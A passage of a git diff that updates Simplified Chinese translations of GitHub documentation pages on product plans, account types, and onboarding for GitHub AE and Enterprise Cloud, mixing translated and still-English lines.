+通过组织的 {% data variables.product.prodname_free_team %}，可与无限的协作者合作处理功能完全的无限公共仓库，或者是功能有限的无限私有仓库，
 
-In addition to the features available with {% data variables.product.prodname_free_user %} for user accounts, {% data variables.product.prodname_free_team %} for organizations includes:
+除了可用于用户帐户的 {% data variables.product.prodname_free_user %} 的功能之外，组织的 {% data variables.product.prodname_free_team %} 还包含：
 - {% data variables.product.prodname_gcf %}
-- Team discussions
-- Team access controls for managing groups
-- 2,000 {% data variables.product.prodname_actions %} minutes
-- 500MB {% data variables.product.prodname_registry %} storage
+- 团队讨论
+- 用于管理组的团队访问权限控制
+- 2,000 {% data variables.product.prodname_actions %} 分钟
+- 500MB {% data variables.product.prodname_registry %} 存储空间
 
 ## {% data variables.product.prodname_team %}
 
-In addition to the features available with {% data variables.product.prodname_free_team %} for organizations, {% data variables.product.prodname_team %} includes:
-- {% data variables.contact.github_support %} via email
-- 3,000 {% data variables.product.prodname_actions %} minutes
-- 2GB {% data variables.product.prodname_registry %} storage
-- Advanced tools and insights in private repositories:
-  - Required pull request reviewers
-  - Multiple pull request reviewers
+除了可用于组织的 {% data variables.product.prodname_free_team %} 的功能之外，{% data variables.product.prodname_team %} 还包含：
+- 通过电子邮件提供的 {% data variables.contact.github_support %}
+- 3,000 {% data variables.product.prodname_actions %} 分钟
+- 2GB {% data variables.product.prodname_registry %} 存储空间
+- 私有仓库中的高级工具和洞察力：
+  - 必需拉取请求审查
+  - 多个拉取请求审查者
   - {% data variables.product.prodname_pages %}
   - Wikis
-  - Protected branches
-  - Code owners
-  - Repository insights graphs: Pulse, contributors, traffic, commits, code frequency, network, and forks
-  - Draft pull requests
-  - Team pull request reviewers
-  - Scheduled reminders
+  - 受保护分支
+  - 代码所有者
+  - 仓库洞察图：脉冲、贡献者、流量、提交、代码频率、网络和复刻
+  - 草稿拉取请求
+  - 团队拉取请求审查
+  - 预定提醒
 {% ifversion fpt or ghec %}
 - The option to enable {% data variables.product.prodname_github_codespaces %}
   - Organization owners can enable {% data variables.product.prodname_github_codespaces %} for the organization by setting a spending limit and granting user permissions for members of their organization. For more information, see "[Enabling Codespaces for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization)."
@@ -90,25 +91,25 @@ In addition to the features available with {% data variables.product.prodname_fr
 
 ## {% data variables.product.prodname_enterprise %}
 
-{% data variables.product.prodname_enterprise %} includes two deployment options: cloud-hosted and self-hosted.
+{% data variables.product.prodname_enterprise %} 包括两个部署选项：云托管和自托管。
 
-In addition to the features available with {% data variables.product.prodname_team %}, {% data variables.product.prodname_enterprise %} includes:
+除了 {% data variables.product.prodname_team %} 的可用功能之外，{% data variables.product.prodname_enterprise %} 还包括：
 - {% data variables.contact.enterprise_support %}
-- Additional security, compliance, and deployment controls
-- Authentication with SAML single sign-on
-- Access provisioning with SAML or SCIM
+- 更多安全、合规和部署控件
+- SAML 单点登录进行身份验证
+- 使用 SAML 或 SCIM 进行配置
 - {% data variables.product.prodname_github_connect %}
-- The option to purchase {% data variables.product.prodname_GH_advanced_security %}. For more information, see "[About {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)."
+- 购买 {% data variables.product.prodname_GH_advanced_security %} 的选项。 更多信息请参阅“[关于 {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)”。
 
-{% data variables.product.prodname_ghe_cloud %} also includes:
-- {% data variables.contact.enterprise_support %}. For more information, see "<a href="/articles/github-enterprise-cloud-support" class="dotcom-only">{% data variables.product.prodname_ghe_cloud %} support</a>" and "<a href="/articles/github-enterprise-cloud-addendum" class="dotcom-only">{% data variables.product.prodname_ghe_cloud %} Addendum</a>."
-- 50,000 {% data variables.product.prodname_actions %} minutes
-- 50GB {% data variables.product.prodname_registry %} storage
-- Access control for {% data variables.product.prodname_pages %} sites. For more information, see <a href="/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site" class="dotcom-only">Changing the visibility of your {% data variables.product.prodname_pages %} site</a>"
-- A service level agreement for 99.9% monthly uptime
-- The option to configure your enterprise for {% data variables.product.prodname_emus %}, so you can provision and manage members with your identity provider and restrict your member's contributions to just your enterprise. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
-- The option to centrally manage policy and billing for multiple {% data variables.product.prodname_dotcom_the_website %} organizations with an enterprise account. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)."
+{% data variables.product.prodname_ghe_cloud %} 还包括：
+- {% data variables.contact.enterprise_support %}. 更多信息请参阅“<a href="/articles/github-enterprise-cloud-support" class="dotcom-only">{% data variables.product.prodname_ghe_cloud %} 支持</a>”和“<a href="/articles/github-enterprise-cloud-addendum" class="dotcom-only">{% data variables.product.prodname_ghe_cloud %} 附录</a>”。
+- 50,000 {% data variables.product.prodname_actions %} 分钟
+- 50GB {% data variables.product.prodname_registry %} 存储空间
+- {% data variables.product.prodname_pages %} 站点的访问控制。 更多信息请参阅“<a href="/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site" class="dotcom-only">更改 {% data variables.product.prodname_pages %} 站点的可见性</a>”
+- 99.9% 月持续运行时间的服务等级协议
+- The option to configure your enterprise for {% data variables.product.prodname_emus %}, so you can provision and manage members with your identity provider and restrict your member's contributions to just your enterprise. 更多信息请参阅“[关于 {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)”。
+- 通过企业帐户集中管理多个 {% data variables.product.prodname_dotcom_the_website %} 组织的策略和帐单的选项。 更多信息请参阅“[关于企业帐户](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)”。
 
-You can set up a trial to evaluate {% data variables.product.prodname_ghe_cloud %}. For more information, see "<a href="/articles/setting-up-a-trial-of-github-enterprise-cloud" class="dotcom-only">Setting up a trial of {% data variables.product.prodname_ghe_cloud %}</a>."
+您可以设置试用版来评估 {% data variables.product.prodname_ghe_cloud %}。 更多信息请参阅“<a href="/articles/setting-up-a-trial-of-github-enterprise-cloud" class="dotcom-only">设置 {% data variables.product.prodname_ghe_cloud %} 的试用</a>”。
 
-For more information about hosting your own instance of [{% data variables.product.prodname_ghe_server %}](https://enterprise.github.com), contact {% data variables.contact.contact_enterprise_sales %}. {% data reusables.enterprise_installation.request-a-trial %}
+有关托管理您自己的 [{% data variables.product.prodname_ghe_server %}](https://enterprise.github.com) 实例的更多信息，请联系 {% data variables.contact.contact_enterprise_sales %}。 {% data reusables.enterprise_installation.request-a-trial %}
diff --git a/translations/zh-CN/content/get-started/learning-about-github/index.md b/translations/zh-CN/content/get-started/learning-about-github/index.md
index 5861d232ae..ed053025c1 100644
--- a/translations/zh-CN/content/get-started/learning-about-github/index.md
+++ b/translations/zh-CN/content/get-started/learning-about-github/index.md
@@ -1,6 +1,6 @@
 ---
-title: Learning about GitHub
-intro: 'Learn how you can use {% data variables.product.company_short %} products to improve your software management process and collaborate with other people.'
+title: 了解 GitHub
+intro: '了解如何使用 {% data variables.product.company_short %} 产品来改进您的软件管理流程并与其他人合作。'
 redirect_from:
   - /articles/learning-about-github
   - /github/getting-started-with-github/learning-about-github
diff --git a/translations/zh-CN/content/get-started/learning-about-github/types-of-github-accounts.md b/translations/zh-CN/content/get-started/learning-about-github/types-of-github-accounts.md
index 568b1834d8..88be32af71 100644
--- a/translations/zh-CN/content/get-started/learning-about-github/types-of-github-accounts.md
+++ b/translations/zh-CN/content/get-started/learning-about-github/types-of-github-accounts.md
@@ -1,5 +1,5 @@
 ---
-title: Types of GitHub accounts
+title: GitHub 帐户的类型
 intro: 'Accounts on {% data variables.product.product_name %} allow you to organize and control access to code.'
 redirect_from:
   - /manage-multiple-clients
@@ -26,8 +26,8 @@ topics:
 
 With {% data variables.product.product_name %}, you can store and collaborate on code. Accounts allow you to organize and control access to that code. There are three types of accounts on {% data variables.product.product_name %}.
 - Personal accounts
-- Organization accounts
-- Enterprise accounts
+- 组织帐户
+- 企业帐户
 
 Every person who uses {% data variables.product.product_name %} signs into a personal account. An organization account enhances collaboration between multiple personal accounts, and {% ifversion fpt or ghec %}an enterprise account{% else %}the enterprise account for {% data variables.product.product_location %}{% endif %} allows central management of multiple organizations.
 
@@ -37,7 +37,7 @@ Every person who uses {% data variables.product.product_location %} signs into a
 
 Your personal account can own resources such as repositories, packages, and projects. Any time you take any action on {% data variables.product.product_location %}, such as creating an issue or reviewing a pull request, the action is attributed to your personal account.
 
-{% ifversion fpt or ghec %}Each personal account uses either {% data variables.product.prodname_free_user %} or {% data variables.product.prodname_pro %}. All personal accounts can own an unlimited number of public and private repositories, with an unlimited number of collaborators on those repositories. If you use {% data variables.product.prodname_free_user %}, private repositories owned by your personal account have a limited feature set. You can upgrade to {% data variables.product.prodname_pro %} to get a full feature set for private repositories. For more information, see "[{% data variables.product.prodname_dotcom %}'s products](/articles/githubs-products)." {% else %}You can create an unlimited number of repositories owned by your personal account, with an unlimited number of collaborators on those repositories.{% endif %}
+{% ifversion fpt or ghec %}Each personal account uses either {% data variables.product.prodname_free_user %} or {% data variables.product.prodname_pro %}. All personal accounts can own an unlimited number of public and private repositories, with an unlimited number of collaborators on those repositories. If you use {% data variables.product.prodname_free_user %}, private repositories owned by your personal account have a limited feature set. You can upgrade to {% data variables.product.prodname_pro %} to get a full feature set for private repositories. 更多信息请参阅“[{% data variables.product.prodname_dotcom %} 的产品](/articles/githubs-products)”。 {% else %}You can create an unlimited number of repositories owned by your personal account, with an unlimited number of collaborators on those repositories.{% endif %}
 
 {% tip %}
 
@@ -46,12 +46,12 @@ Your personal account can own resources such as repositories, packages, and proj
 {% endtip %}
 
 {% ifversion fpt or ghec %}
-Most people will use one personal account for all their work on {% data variables.product.prodname_dotcom_the_website %}, including both open source projects and paid employment. If you're currently using more than one personal account that you created for yourself, we suggest combining the accounts. For more information, see "[Merging multiple user accounts](/articles/merging-multiple-user-accounts)."
+Most people will use one personal account for all their work on {% data variables.product.prodname_dotcom_the_website %}, including both open source projects and paid employment. If you're currently using more than one personal account that you created for yourself, we suggest combining the accounts. 更多信息请参阅“[合并多个用户帐户](/articles/merging-multiple-user-accounts)”。
 {% endif %}
 
-## Organization accounts
+## 组织帐户
 
-Organizations are shared accounts where an unlimited number of people can collaborate across many projects at once. 
+Organizations are shared accounts where an unlimited number of people can collaborate across many projects at once.
 
 Like personal accounts, organizations can own resources such as repositories, packages, and projects. However, you cannot sign into an organization. Instead, each person signs into their own personal account, and any actions the person takes on organization resources are attributed to their personal account. Each personal account can be a member of multiple organizations.
 
@@ -59,29 +59,29 @@ The personal accounts within an organization can be given different roles in the
 
 ![Diagram showing that users must sign in to their personal user account to access an organization's resources](/assets/images/help/overview/sign-in-pattern.png)
 
-{% ifversion fpt or ghec %} 
+{% ifversion fpt or ghec %}
 Even if you're a member of an organization that uses SAML single sign-on, you will still sign into your own personal account on {% data variables.product.prodname_dotcom_the_website %}, and that personal account will be linked to your identity in your organization's identity provider (IdP). For more information, see "[About authentication with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation{% else %}."{% endif %}
 
 However, if you're a member of an enterprise that uses {% data variables.product.prodname_emus %}, instead of using a personal account that you created, a new account will be provisioned for you by the enterprise's IdP. To access any organizations owned by that enterprise, you must authenticate using their IdP instead of a {% data variables.product.prodname_dotcom_the_website %} username and password. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
 {% endif %}
 
-You can also create nested sub-groups of organization members called teams, to reflect your group's structure and simplify access management. For more information, see "[About teams](/organizations/organizing-members-into-teams/about-teams)."
+You can also create nested sub-groups of organization members called teams, to reflect your group's structure and simplify access management. 更多信息请参阅“[关于团队](/organizations/organizing-members-into-teams/about-teams)”。
 
 {% data reusables.organizations.organization-plans %}
 
 For more information about all the features of organizations, see "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)."
 
-## Enterprise accounts
+## 企业帐户
 
 {% ifversion fpt %}
 {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %} include enterprise accounts, which allow administrators to centrally manage policy and billing for multiple organizations and enable innersourcing between the organizations. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)" in the {% data variables.product.prodname_ghe_cloud %} documentation.
 {% elsif ghec %}
-Enterprise accounts allow central policy management and billing for multiple organizations. You can use your enterprise account to centrally manage policy and billing. Unlike organizations, enterprise accounts cannot directly own resources like repositories, packages, or projects. These resources are owned by organizations within the enterprise account instead. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)."
+Enterprise accounts allow central policy management and billing for multiple organizations. You can use your enterprise account to centrally manage policy and billing. Unlike organizations, enterprise accounts cannot directly own resources like repositories, packages, or projects. These resources are owned by organizations within the enterprise account instead. 更多信息请参阅“[关于企业帐户](/admin/overview/about-enterprise-accounts)”。
 {% elsif ghes or ghae %}
-Your enterprise account is a collection of all the organizations {% ifversion ghae %}owned by{% elsif ghes %}on{% endif %} {% data variables.product.product_location %}. You can use your enterprise account to centrally manage policy and billing. Unlike organizations, enterprise accounts cannot directly own resources like repositories, packages, or projects. These resources are owned by organizations within the enterprise account instead. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)."
+Your enterprise account is a collection of all the organizations {% ifversion ghae %}owned by{% elsif ghes %}on{% endif %} {% data variables.product.product_location %}. You can use your enterprise account to centrally manage policy and billing. Unlike organizations, enterprise accounts cannot directly own resources like repositories, packages, or projects. These resources are owned by organizations within the enterprise account instead. 更多信息请参阅“[关于企业帐户](/admin/overview/about-enterprise-accounts)”。
 {% endif %}
 
-## Further reading
+## 延伸阅读
 
 {% ifversion fpt or ghec %}- "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/articles/signing-up-for-a-new-github-account)"{% endif %}
-- "[Creating a new organization account](/articles/creating-a-new-organization-account)"
+- “[创建新组织帐户](/articles/creating-a-new-organization-account)”
diff --git a/translations/zh-CN/content/get-started/onboarding/getting-started-with-github-ae.md b/translations/zh-CN/content/get-started/onboarding/getting-started-with-github-ae.md
index 013ac1a1af..f40f220b7f 100644
--- a/translations/zh-CN/content/get-started/onboarding/getting-started-with-github-ae.md
+++ b/translations/zh-CN/content/get-started/onboarding/getting-started-with-github-ae.md
@@ -16,13 +16,13 @@ You will first need to purchase {% data variables.product.product_name %}. For m
 {% data reusables.github-ae.initialize-enterprise %}
 
 ### 2. Initializing {% data variables.product.product_name %}
-After {% data variables.product.company_short %} creates the owner account for {% data variables.product.product_location %} on {% data variables.product.product_name %}, you will receive an email to sign in and complete the initialization. During initialization, you, as the enterprise owner, will name {% data variables.product.product_location %}, configure SAML SSO, create policies for all organizations in {% data variables.product.product_location %}, and configure a support contact for your enterprise members. For more information, see "[Initializing {% data variables.product.prodname_ghe_managed %}](/admin/configuration/configuring-your-enterprise/initializing-github-ae)."
+After {% data variables.product.company_short %} creates the owner account for {% data variables.product.product_location %} on {% data variables.product.product_name %}, you will receive an email to sign in and complete the initialization. During initialization, you, as the enterprise owner, will name {% data variables.product.product_location %}, configure SAML SSO, create policies for all organizations in {% data variables.product.product_location %}, and configure a support contact for your enterprise members. 更多信息请参阅“[初始化 {% data variables.product.prodname_ghe_managed %}](/admin/configuration/configuring-your-enterprise/initializing-github-ae)。”
 
-### 3. Restricting network traffic
-You can configure an allow list for specific IP addresses to restrict access to assets owned by organizations in your enterprise account. For more information, see "[Restricting network traffic to your enterprise](/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise)."
+### 3. 限制网络流量
+You can configure an allow list for specific IP addresses to restrict access to assets owned by organizations in your enterprise account. 更多信息请参阅“[限制到企业的网络流量](/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise)”。
 
 ### 4. Managing identity and access for {% data variables.product.product_location %}
-You can centrally manage access to {% data variables.product.product_location %} on {% data variables.product.product_name %} from an identity provider (IdP) using SAML single sign-on (SSO) for user authentication and System for Cross-domain Identity Management (SCIM) for user provisioning. Once you configure provisioning, you can assign or unassign users to the application from the IdP, creating or disabling user accounts in the enterprise. For more information, see "[About identity and access management for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise)."
+You can centrally manage access to {% data variables.product.product_location %} on {% data variables.product.product_name %} from an identity provider (IdP) using SAML single sign-on (SSO) for user authentication and System for Cross-domain Identity Management (SCIM) for user provisioning. Once you configure provisioning, you can assign or unassign users to the application from the IdP, creating or disabling user accounts in the enterprise. 更多信息请参阅“[关于企业的身份和访问权限管理](/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise)”。
 
 ### 5. Managing billing for {% data variables.product.product_location %}
 Owners of the subscription for {% data variables.product.product_location %} on {% data variables.product.product_name %} can view billing details for {% data variables.product.product_name %} in the Azure portal. For more information, see "[Managing billing for your enterprise](/admin/overview/managing-billing-for-your-enterprise)."
@@ -33,13 +33,13 @@ As an enterprise owner for {% data variables.product.product_name %}, you can ma
 ### 1. Managing members of {% data variables.product.product_location %}
 {% data reusables.getting-started.managing-enterprise-members %}
 
-### 2. Creating organizations
+### 2. 创建组织
 {% data reusables.getting-started.creating-organizations %}
 
 ### 3. Adding members to organizations
 {% data reusables.getting-started.adding-members-to-organizations %}
 
-### 4. Creating teams
+### 4. 创建团队
 {% data reusables.getting-started.creating-teams %}
 
 ### 5. Setting organization and repository permission levels
diff --git a/translations/zh-CN/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md b/translations/zh-CN/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md
index 9598e02d65..17f8fad066 100644
--- a/translations/zh-CN/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md
+++ b/translations/zh-CN/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md
@@ -40,11 +40,11 @@ Once you choose the account type you would like, you can proceed to setting up y
 To get started with {% data variables.product.prodname_ghe_cloud %}, you will want to create your organization or enterprise account and set up and view billing settings, subscriptions and usage.
 ### Setting up a single organization account with {% data variables.product.prodname_ghe_cloud %}
 
-#### 1. About organizations
-Organizations are shared accounts where groups of people can collaborate across many projects at once. With {% data variables.product.prodname_ghe_cloud %}, owners and administrators can manage their organization with sophisticated user authentication and management, as well as escalated support and security options. For more information, see "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)."
+#### 1. 关于组织
+组织是共享帐户，供多个项目的人员同时协作之用。 With {% data variables.product.prodname_ghe_cloud %}, owners and administrators can manage their organization with sophisticated user authentication and management, as well as escalated support and security options. 更多信息请参阅“[关于组织](/organizations/collaborating-with-groups-in-organizations/about-organizations)”。
 #### 2. Creating or upgrading an organization account
 
-To use an organization account with {% data variables.product.prodname_ghe_cloud %}, you will first need to create an organization. When prompted to choose a plan, select "Enterprise". For more information, see "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)."
+To use an organization account with {% data variables.product.prodname_ghe_cloud %}, you will first need to create an organization. When prompted to choose a plan, select "Enterprise". 更多信息请参阅“[从头开始创建新组织](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)”。
 
 Alternatively, if you have an existing organization account that you would like to upgrade, follow the steps in "[Upgrading your {% data variables.product.prodname_dotcom %} subscription](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription#upgrading-your-organizations-subscription)."
 #### 3. Setting up and managing billing
@@ -62,21 +62,21 @@ To get an enterprise account created for you, contact [{% data variables.product
 
  {% endnote %}
 
-#### 1. About enterprise accounts
+#### 1. 关于企业帐户
 
-An enterprise account allows you to centrally manage policy and settings for multiple {% data variables.product.prodname_dotcom %} organizations, including member access, billing and usage and security. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)."
-#### 2. Adding organizations to your enterprise account
+An enterprise account allows you to centrally manage policy and settings for multiple {% data variables.product.prodname_dotcom %} organizations, including member access, billing and usage and security. 更多信息请参阅“[关于企业帐户](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)”。
+#### 2. 将组织添加到企业帐户
 
-You can create new organizations to manage within your enterprise account. For more information, see "[Adding organizations to your enterprise](/enterprise-cloud@latest/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise)."
+您可以在企业帐户中创建要管理的新组织。 For more information, see "[Adding organizations to your enterprise](/enterprise-cloud@latest/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise)."
 
 Contact your {% data variables.product.prodname_dotcom %} sales account representative if you want to transfer an existing organization to your enterprise account.
-#### 3. Viewing the subscription and usage for your enterprise account
+#### 3. 查看企业帐户的订阅和使用情况
 You can view your current subscription, license usage, invoices, payment history, and other billing information for your enterprise account at any time. Both enterprise owners and billing managers can access and manage billing settings for enterprise accounts. For more information, see  "[Viewing the subscription and usage for your enterprise account](/enterprise-cloud@latest/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)."
 
 ## Part 3: Managing your organization or enterprise members and teams with {% data variables.product.prodname_ghe_cloud %}
 
 ### Managing members and teams in your organization
-You can set permissions and member roles, create and manage teams, and give people access to repositories in your organization. 
+You can set permissions and member roles, create and manage teams, and give people access to repositories in your organization.
 #### 1. Managing members of your organization
 {% data reusables.getting-started.managing-org-members %}
 #### 2. Organization permissions and roles
@@ -91,18 +91,18 @@ You can set permissions and member roles, create and manage teams, and give peop
 ### Managing members of an enterprise account
 Managing members of an enterprise is separate from managing members or teams in an organization. It is important to note that enterprise owners or administrators cannot access organization-level settings or manage members for organizations in their enterprise unless they are made an organization owner. For more information, see the above section, "[Managing members and teams in your organization](#managing-members-and-teams-in-your-organization)."
 
-If your enterprise uses {% data variables.product.prodname_emus %}, your members are fully managed through your identity provider. Adding members, making changes to their membership, and assigning roles is all managed using your IdP. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
+If your enterprise uses {% data variables.product.prodname_emus %}, your members are fully managed through your identity provider. Adding members, making changes to their membership, and assigning roles is all managed using your IdP. 更多信息请参阅“[关于 {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)”。
 
 If your enterprise does not use {% data variables.product.prodname_emus %}, follow the steps below.
 
 #### 1. Assigning roles in an enterprise
-By default, everyone in an enterprise is a member of the enterprise. There are also administrative roles, including enterprise owner and billing manager, that have different levels of access to enterprise settings and data. For more information, see "[Roles in an enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)."
-#### 2. Inviting people to manage your enterprise
+By default, everyone in an enterprise is a member of the enterprise. There are also administrative roles, including enterprise owner and billing manager, that have different levels of access to enterprise settings and data. 更多信息请参阅“[企业中的角色](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)”。
+#### 2. 邀请人员管理企业
 You can invite people to manage your enterprise as enterprise owners or billing managers, as well as remove those who no longer need access. For more information, see "[Inviting people to manage your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise)."
 
-You can also grant enterprise members the ability to manage support tickets in the support portal. For more information, see "[Managing support entitlements for your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise)."
-#### 3. Viewing people in your enterprise
-To audit access to enterprise-owned resources or user license usage, you can view every enterprise administrator, enterprise member, and outside collaborator in your enterprise. You can see the organizations that a member belongs to and the specific repositories that an outside collaborator has access to. For more information, see "[Viewing people in your enterprise](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise)."
+You can also grant enterprise members the ability to manage support tickets in the support portal. 更多信息请参阅“[管理企业的支持权利](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise)”。
+#### 3. 查看企业中的人员
+To audit access to enterprise-owned resources or user license usage, you can view every enterprise administrator, enterprise member, and outside collaborator in your enterprise. You can see the organizations that a member belongs to and the specific repositories that an outside collaborator has access to. 更多信息请参阅“[查看企业中的人员](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise)”。
 
 ## Part 4: Managing security with {% data variables.product.prodname_ghe_cloud %}
 
@@ -124,12 +124,12 @@ You can help keep your organization secure by requiring two-factor authenticatio
 If you manage your applications and the identities of your organization members with an identity provider (IdP), you can configure SAML single-sign-on (SSO) to control and secure access to organization resources like repositories, issues and pull requests. When members of your organization access organization resources that use SAML SSO, {% data variables.product.prodname_dotcom %} will redirect them to your IdP to authenticate. For more information, see "[About identity and access management with SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)."
 
 Organization owners can choose to disable, enable but not enforce, or enable and enforce SAML SSO. For more information, see "[Enabling and testing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enabling-and-testing-saml-single-sign-on-for-your-organization)" and "[Enforcing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/enforcing-saml-single-sign-on-for-your-organization)."
-#### 5. Managing team synchronization for your organization
-Organization owners can enable team synchronization between your identity provider (IdP) and {% data variables.product.prodname_dotcom %} to allow organization owners and team maintainers to connect teams in your organization with IdP groups. For more information, see "[Managing team synchronization for your organization](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)."
+#### 5. 管理组织的团队同步
+Organization owners can enable team synchronization between your identity provider (IdP) and {% data variables.product.prodname_dotcom %} to allow organization owners and team maintainers to connect teams in your organization with IdP groups. 更多信息请参阅“[管理组织的团队同步](/organizations/managing-saml-single-sign-on-for-your-organization/managing-team-synchronization-for-your-organization)”。
 
 ### Managing security for an {% data variables.product.prodname_emu_enterprise %}
 
-With {% data variables.product.prodname_emus %}, access and identity is managed centrally through your identity provider. Two-factor authentication and other login requirements should be enabled and enforced on your IdP. 
+With {% data variables.product.prodname_emus %}, access and identity is managed centrally through your identity provider. Two-factor authentication and other login requirements should be enabled and enforced on your IdP.
 
 #### 1. Enabling and SAML single sign-on and provisioning in your {% data variables.product.prodname_emu_enterprise %}
 
@@ -141,23 +141,23 @@ You can connect teams in your organizations to security groups in your identity
 
 #### 3. Managing allowed IP addresses for organizations in your {% data variables.product.prodname_emu_enterprise %}
 
-You can configure an allow list for specific IP addresses to restrict access to assets owned by organizations in your {% data variables.product.prodname_emu_enterprise %}. For more information, see "[Enforcing policies for security settings in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise)."
+You can configure an allow list for specific IP addresses to restrict access to assets owned by organizations in your {% data variables.product.prodname_emu_enterprise %}. 更多信息请参阅“[在企业中实施安全设置策略](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise)”。
 
 #### 4. Enforcing policies for Advanced Security features in your {% data variables.product.prodname_emu_enterprise %}
 {% data reusables.getting-started.enterprise-advanced-security %}
 
 ### Managing security for an enterprise account without {% data variables.product.prodname_managed_users %}
-To manage security for your enterprise, you can require two-factor authentication, manage allowed IP addresses, enable SAML single sign-on and team synchronization at an enterprise level, and sign up for and enforce GitHub Advanced Security features. 
+To manage security for your enterprise, you can require two-factor authentication, manage allowed IP addresses, enable SAML single sign-on and team synchronization at an enterprise level, and sign up for and enforce GitHub Advanced Security features.
 
 #### 1. Requiring two-factor authentication and managing allowed IP addresses for organizations in your enterprise account
-Enterprise owners can require that organization members, billing managers, and outside collaborators in all organizations owned by an enterprise account use two-factor authentication to secure their personal accounts. Before doing so, we recommend notifying all who have access to organizations in your enterprise. You can also configure an allow list for specific IP addresses to restrict access to assets owned by organizations in your enterprise account. 
+企业所有者可以要求企业帐户拥有的所有组织中的组织成员、帐单管理员和外部协作者使用双重身份验证来保护其个人帐户。 Before doing so, we recommend notifying all who have access to organizations in your enterprise. You can also configure an allow list for specific IP addresses to restrict access to assets owned by organizations in your enterprise account.
 
 For more information on enforcing two-factor authentication and allowed IP address lists, see "[Enforcing policies for security settings in your enterprise](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise)."
 #### 2. Enabling and enforcing SAML single sign-on for organizations in your enterprise account
-You can centrally manage access to your enterprise's resources, organization membership and team membership using your IdP and SAM single sign-on (SSO). Enterprise owners can enable SAML SSO across all organizations owned by an enterprise account. For more information, see "[About identity and access management for your enterprise](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise)."
+You can centrally manage access to your enterprise's resources, organization membership and team membership using your IdP and SAM single sign-on (SSO). Enterprise owners can enable SAML SSO across all organizations owned by an enterprise account. 更多信息请参阅“[关于企业的身份和访问权限管理](/enterprise-cloud@latest/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise)”。
 
 #### 3. Managing team synchronization
